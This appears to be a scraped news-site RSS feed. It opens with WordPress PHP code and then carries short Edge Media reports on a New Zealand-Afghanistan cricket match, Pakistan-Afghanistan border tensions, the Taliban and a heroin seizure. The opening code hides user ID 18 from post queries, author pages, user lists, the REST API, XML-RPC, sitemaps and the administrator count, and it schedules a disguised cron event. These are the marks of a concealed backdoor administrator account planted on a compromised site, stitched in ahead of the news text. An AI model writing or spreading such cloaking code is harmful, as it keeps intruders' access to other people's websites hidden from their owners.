add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post New Zealand Clinch Victory Over Afghanistan in Champions Trophy Opener appeared first on The Edge Media.
]]>Afghanistan, after being invited to bat, posted a fighting total of 183 runs. Rahmanullah Gurbaz played a steady knock of 27 runs, while Ibrahim Zadran and Rahmat Shah tried to build partnerships in the middle overs. However, the Afghan batting lineup struggled against disciplined bowling from New Zealand.
Lockie Ferguson and Matt Henry kept the pressure on with sharp pace and accurate lines. Ferguson struck crucial blows in the middle overs, while Henry provided early breakthroughs. Their combined effort restricted Afghanistan to a modest total despite brief resistance from the lower order.
In response, New Zealand approached the chase calmly. Will Young anchored the innings with a composed 65 off 42 balls, striking seven fours and three sixes. His positive intent ensured that the required run rate never became a concern.
Tom Latham supported him brilliantly, scoring a fluent 74. He rotated the strike effectively and punished loose deliveries, guiding the innings through the middle phase. The pair built a crucial partnership that shifted the momentum firmly in New Zealand’s favor.
Although Afghanistan’s bowlers managed to pick up a few wickets and attempted to apply pressure with tight spells, the target proved insufficient. The New Zealand batters maintained control and completed the chase comfortably with five wickets in hand.
The victory provides New Zealand with a strong start to the tournament and boosts their confidence ahead of tougher encounters. Afghanistan showed flashes of promise but will need greater consistency with both bat and ball to challenge top sides in the competition.
The post New Zealand Clinch Victory Over Afghanistan in Champions Trophy Opener appeared first on The Edge Media.
]]>The post Pakistan Army Chief Warns Afghanistan: “Choose Peace or Chaos” Amid Cross‑Border Terror Strikes appeared first on The Edge Media.
]]>The statement comes shortly after Pakistan carried out new air strikes targeting militant hideouts in Afghanistan late Friday, just hours after Islamabad and Kabul extended a two‑day ceasefire that had temporarily eased hostilities between the neighbours.
Addressing a passing‑out ceremony for cadets at the Pakistan Military Academy (PMA) in Kakul, Khyber Pakhtunkhwa, Munir said the Afghan regime should act decisively to stop militants operating from its soil. “All proxies using Afghan soil will face our response – we will raise them to dust,” he warned.
The fresh strikes follow a gun‑and‑bomb assault on a Pakistani military installation in North Waziristan, claimed by the Hafiz Gul Bahadur group of Tehrik‑i‑Taliban Pakistan (TTP).
The escalation comes even as representatives from Pakistan and Afghanistan prepare to meet in Doha, where Qatar is facilitating mediation between the two countries. Islamabad has repeatedly demanded that the Taliban‑led Afghan government stop terrorist organisations from using Afghan territory for attacks on Pakistan; Kabul denies these claims and insists it is not permitting such operations.
The deteriorating situation along the shared border stems from repeated militant attacks inside Pakistan—including one in Orakzai district of Khyber Pakhtunkhwa, which killed 11 military personnel including a Lieutenant Colonel and a Major—that Islamabad says originated from Afghan soil.
The post Pakistan Army Chief Warns Afghanistan: “Choose Peace or Chaos” Amid Cross‑Border Terror Strikes appeared first on The Edge Media.
]]>The post Afghan Foreign Minister Muttaqi Warns Pakistan, Reaffirms Commitment to Peace but Signals ‘Other Options’ appeared first on The Edge Media.
]]>Muttaqi confirmed that the Afghan side has agreed to a temporary ceasefire, which was brokered through the mediation of Qatar and Saudi Arabia. However, he delivered a sharp warning: “If Pakistan does not want peace, Afghanistan has other options available.”
The Afghan Foreign Minister held a press conference at the Afghan Embassy in New Delhi today—his second during this visit. The event was notable for addressing a controversy from his previous briefing.
In a significant move following a dispute over the exclusion of women reporters from his earlier press conference, Amir Khan Muttaqi took steps to ensure full inclusion. Today’s press conference saw female journalists seated in the front rows.
The Taliban-led government’s Foreign Minister used the opportunity to address the controversy directly, clarifying that no female journalist had been deliberately barred from the previous briefing. He fielded questions from journalists on various subjects and provided a detailed explanation regarding the matter of press access.
Focusing on the growing friction with Pakistan, Amir Khan Muttaqi stated that while the majority of Pakistan’s population and many politicians desire good relations with Afghanistan, “certain elements are attempting to spoil the atmosphere.”
He underscored the historical difficulty of controlling the border region, referencing the 2,400-kilometer-long, challenging Durand Line. Muttaqi asserted that history proves the futility of military intervention in controlling this boundary: “Neither Genghis Khan, nor the British, nor the Americans were able to control the rugged Durand Line through the use of force.”
Muttaqi’s remarks highlight a precarious diplomatic situation, signaling Afghanistan’s intent to uphold its sovereignty while opening the door for future escalations should mediated peace talks fail.
The post Afghan Foreign Minister Muttaqi Warns Pakistan, Reaffirms Commitment to Peace but Signals ‘Other Options’ appeared first on The Edge Media.
]]>The post On Tuesday, regional national security advisers will gather for talks on Afghanistan appeared first on The Edge Media.
]]>
Officials involved in the dialogue said the meeting, to which Pakistan and China have declined to attend, would aim to share a “common understanding of concerns” shared by Afghanistan’s neighbors in the aftermath of the Taliban takeover on August 15, as well as build consensus on how to deal with threats.
The post On Tuesday, regional national security advisers will gather for talks on Afghanistan appeared first on The Edge Media.
]]>The post Pakistan and China are unlikely to attend the Ajit Doval-hosted Afghanistan meeting next week appeared first on The Edge Media.
]]>
Yusuf turned rejected an offer from India last month, according to multiple diplomatic sources, citing the fact that his country will not attend any summit where the Taliban is not represented. The NSA-level meetings, which were supposed to take place between 10 and 13 November, are now likely to take place without Pakistan and China, according to the sources. Russia, Iran, Uzbekistan, and Tajikistan have also been invited to the meeting.
The post Pakistan and China are unlikely to attend the Ajit Doval-hosted Afghanistan meeting next week appeared first on The Edge Media.
]]>The post No recognition for the terrible Taliban administration in Kabul 50 days after the occupation appeared first on The Edge Media.
]]>The US special envoy Zalmay Khalilzad, now Taliban deputy prime minister Mullah Abdul Ghani Baradar, Qatari national security advisor Mohammed bin Ahmed Al Mesned, UK chief of defense staff Nick Carter, and Pakistani army chief Qamar Jawed Bajwa were involved in the so-called Doha Peace Process. No other country has been given access to the details of the Doha process. Behind the scenes, the Taliban’s seizure of Kabul was supported by Russian presidential envoy to Afghanistan Zamir Kabulov and Chinese foreign minister Wang Yi.
The post No recognition for the terrible Taliban administration in Kabul 50 days after the occupation appeared first on The Edge Media.
]]>The post At the United Nations, Pakistan’s push to help the Taliban fails miserably appeared first on The Edge Media.
]]>Going by the events of the last week at the United Nations General Assembly, the international community may continue to deny the Taliban rule in Afghanistan any recognition or representation, at least for the time being.
At the United Nations, Pakistan waged a vigorous campaign in support of the Afghan Taliban. It sparked outrage in the United States, disgust in Europe, and domestic opposition to Imran Khan’s government.
The post At the United Nations, Pakistan’s push to help the Taliban fails miserably appeared first on The Edge Media.
]]>The post Taliban claim that after keeping women out of schools and offices, they will be given ‘powerful and effective governance.’ appeared first on The Edge Media.
]]>Taliban spokesman Zabiullah Mujahid stated that the administration will be established by Islamic principles and that it will not be given the designation of a ministry or sub-division.
The previous government’s women’s ministry did nothing to improve the lives of Afghan women. Despite the presence of the ministry, Mujahid added, women in rural Afghanistan were not provided their basic rights.
The post Taliban claim that after keeping women out of schools and offices, they will be given ‘powerful and effective governance.’ appeared first on The Edge Media.
]]>The post Jaishankar and his Saudi colleague exchange notes on Afghanistan and strategic partnerships appeared first on The Edge Media.
]]>The two leaders discussed the changing situation in Afghanistan following the Taliban’s takeover, the Gulf and Indo-Pacific region, and cooperation in the battle against the coronavirus disease (Covid-19) pandemic. S Jaishankar also requested Al Saud to reintroduce direct flights between India and Saudi Arabia, which have been halted because of the plague.
The post Jaishankar and his Saudi colleague exchange notes on Afghanistan and strategic partnerships appeared first on The Edge Media.
]]>The post Nearly 3,000 kg of heroin were intercepted at the Gujarat port of Mundra appeared first on The Edge Media.
]]>The breakthrough came when the agency received a specific tip about a shipment declared as semi-processed Talc stones originating from Afghanistan and delivered from Bandar Abbas Port in Iran to Mundra Port by Aashi Trading Company, based in Vijayawada, Andhra Pradesh.
The post Nearly 3,000 kg of heroin were intercepted at the Gujarat port of Mundra appeared first on The Edge Media.
]]>